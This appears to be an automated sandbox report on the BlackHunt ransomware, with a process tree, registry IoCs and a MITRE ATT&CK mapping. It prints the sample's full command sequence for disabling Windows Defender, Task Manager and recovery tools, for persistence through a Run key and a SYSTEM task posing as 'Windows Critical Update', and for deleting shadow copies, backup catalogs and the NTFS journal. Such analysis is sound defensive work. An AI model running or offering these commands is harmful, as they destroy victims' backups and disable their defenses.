PID 1108 wrote to memory of 2824	1108	7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe	140
PID 1108 wrote to memory of 2824	1108	7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe	140
PID 1108 wrote to memory of 4280	1108	7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe	146
PID 1108 wrote to memory of 4280	1108	7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe	146
PID 1108 wrote to memory of 796	1108	7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe	145
PID 1108 wrote to memory of 796	1108	7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe	145
PID 1108 wrote to memory of 5072	1108	7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe	143
PID 1108 wrote to memory of 5072	1108	7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe	143

System policy modification 1 TTPs 3 IoCs

evasion

Modify Registry

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System	7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLinkedConnections = "1"	7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe
"C:\Users\Admin\AppData\Local\Temp\7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe"
1⤵
- UAC bypass
- Checks computer location settings
- Checks whether UAC is enabled
- Enumerates connected drives
- Drops file in Program Files directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- System policy modification
PID:1108
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:412
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
    3⤵
    - Modifies registry class
    PID:2076
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:808
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
    3⤵
    - Modifies registry class
    PID:4344
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
  2⤵
  PID:972
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
    3⤵
    - Modifies registry class
    PID:3468
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3912
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
    3⤵
    - Adds Run key to start application
    PID:2328
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4012
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
    3⤵
    - Modifies registry class
    PID:1236
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
  2⤵
  PID:3800
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
    3⤵
    PID:636
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
  2⤵
  PID:4812
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
    3⤵
    PID:1724
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
  2⤵
  PID:3068
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
    3⤵
    PID:2544
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
  2⤵
  PID:1956
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
    3⤵
    PID:3224
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
  2⤵
  PID:1764
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
    3⤵
    - Modifies Windows Defender Real-time Protection settings
    PID:5104
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
  2⤵
  PID:4576
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
    3⤵
    PID:1104
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
  2⤵
  PID:2200
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
    3⤵
    PID:4992
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
  2⤵
  PID:2428
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
    3⤵
    PID:1156
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
  2⤵
  PID:3832
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
    3⤵
    PID:5044
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
  2⤵
  PID:4268
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
    3⤵
    PID:2692
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
  2⤵
  PID:4552
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
    3⤵
    PID:4864
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
  2⤵
  PID:3348
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
    3⤵
    PID:528
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
  2⤵
  PID:4428
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
    3⤵
    PID:4076
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
  2⤵
  PID:436
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
    3⤵
    PID:1192
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
  2⤵
  PID:692
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
    3⤵
    PID:3116
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
  2⤵
  PID:4064
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
    3⤵
    PID:4800
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
  2⤵
  PID:3556
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
    3⤵
    PID:4072
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
  2⤵
  PID:2824
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
    3⤵
    PID:1612
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:5072
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:3084
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:796
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:4036
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:4280
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:2720
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
  2⤵
  PID:4452
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
    3⤵
    PID:264
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
  2⤵
  PID:752
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
    3⤵
    PID:1256
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
  2⤵
  PID:4860
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
    3⤵
    PID:1828
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe" /F
  2⤵
  PID:4976
- - C:\Windows\system32\schtasks.exe
    SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe" /F
    3⤵
    - Creates scheduled task(s)
    - Suspicious use of WriteProcessMemory
    PID:972
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
  2⤵
  PID:3736
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
    3⤵
    - Enumerates connected drives
    - Interacts with shadow copies
    PID:412
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
  2⤵
  PID:3912
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
    3⤵
    - Enumerates connected drives
    - Interacts with shadow copies
    PID:2320
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
  2⤵
  PID:1008
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
    3⤵
    - Interacts with shadow copies
    PID:2568
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
  2⤵
  PID:2292
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
    3⤵
    - Interacts with shadow copies
    PID:4800
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet
  2⤵
  PID:4276
- - C:\Windows\system32\vssadmin.exe
    vssadmin.exe Delete Shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:2584
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No
  2⤵
  PID:1576
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} recoveryenabled No
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:1648
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
  2⤵
  PID:1052
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:4864
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet
  2⤵
  PID:4636
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:1156
- - C:\Windows\system32\wbadmin.exe
    wbadmin.exe delete catalog -quiet
    3⤵
    - Deletes backup catalog
    PID:2900
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
  2⤵
  PID:3880
- - C:\Windows\system32\schtasks.exe
    schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
    3⤵
    PID:4384
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:
  2⤵
  PID:5012
- - C:\Windows\system32\fsutil.exe
    fsutil.exe usn deletejournal /D C:
    3⤵
    - Deletes NTFS Change Journal
    PID:4932

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:4900

C:\Windows\system32\wbengine.exe
"C:\Windows\system32\wbengine.exe"
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:3340

C:\Windows\System32\vdsldr.exe
C:\Windows\System32\vdsldr.exe -Embedding
1⤵
PID:3620

C:\Windows\System32\vds.exe
C:\Windows\System32\vds.exe
1⤵
- Checks SCSI registry key(s)
PID:4224

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Scheduled Task/Job

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

System Information Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Data Destruction

T1485

Inhibit System Recovery